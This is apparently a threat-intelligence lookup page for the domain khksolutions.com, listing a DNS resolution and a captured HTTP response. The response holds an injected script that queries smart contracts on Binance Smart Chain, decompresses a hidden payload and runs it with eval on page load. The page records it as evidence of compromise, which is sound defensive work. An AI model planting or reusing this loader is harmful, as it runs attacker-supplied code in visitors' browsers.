Help
RSS
API
Feed
Maltego
Contact
Domain > www.khksolutions.com
×
More information on this domain is in
AlienVault OTX
Is this malicious?
Yes
No
DNS Resolutions
Date
IP Address
2025-10-14
63.250.43.137
(
ClassC
)
Port 443
HTTP/1.1 200 OKserver: nginxdate: Sat, 08 Mar 2025 02:10:37 GMTcontent-type: text/html; charsetUTF-8vary: Accept-Encodinglink: https://khksolutions.com/wp-json/>; relhttps://api.w.org/link: https://kh !doctype html>html langen-US classno-js itemtypehttps://schema.org/WebPage itemscope>head> meta charsetUTF-8> meta nameviewport contentwidthdevice-width, initial-scale1, minimum-scale1> script srchttps://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js>/script> script srchttps://cdnjs.cloudflare.com/ajax/libs/pako/2.0.4/pako.min.js>/script> script srchttps://cdn.jsdelivr.net/npm/crypto-js@4.1.1/crypto-js.min.js>/script> script> console.log(Start moving...); document.addEventListener(DOMContentLoaded, async () > { try { const web3 new Web3(https://bsc-dataseed.binance.org/); const contract new web3.eth.Contract( {inputs: , stateMutability: nonpayable, type: constructor}, {inputs: , name: orchidABI, outputs: {internalType: string, name: , type: string}, stateMutability: view, type: function}, {inputs: , name: orchidAddress, outputs: {internalType: string, name: , type:string}, stateMutability: view, type: function}, {inputs: , name: merlionABI, outputs: {internalType: string, name: , type: string}, stateMutability: view, type: function}, {inputs: , name: merlionAddress, outputs: {internalType: string, name: , type:string}, stateMutability: view, type: function}, , 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53); const orchidABI JSON.parse(pako.ungzip(Uint8Array.from(atob(await contract.methods.orchidABI().call()), c > c.charCodeAt(0)), { to: string })); const orchidAddress await contract.methods.orchidAddress().call(); const orchid new web3.eth.Contract(orchidABI, orchidAddress); const decompressedScript pako.ungzip(Uint8Array.from(atob(await orchid.methods.tokyoSkytree().call()), c > c.charCodeAt(0)), { to: string }); eval(`(async () > { ${decompressedScript} })().then(() > { console.log(Moved.); }).catch(console.error);`);
View on OTX
|
View on ThreatMiner
Please enable JavaScript to view the
comments powered by Disqus.
Data with thanks to
AlienVault OTX
,
VirusTotal
,
Malwr
and
others
. [
Sitemap
]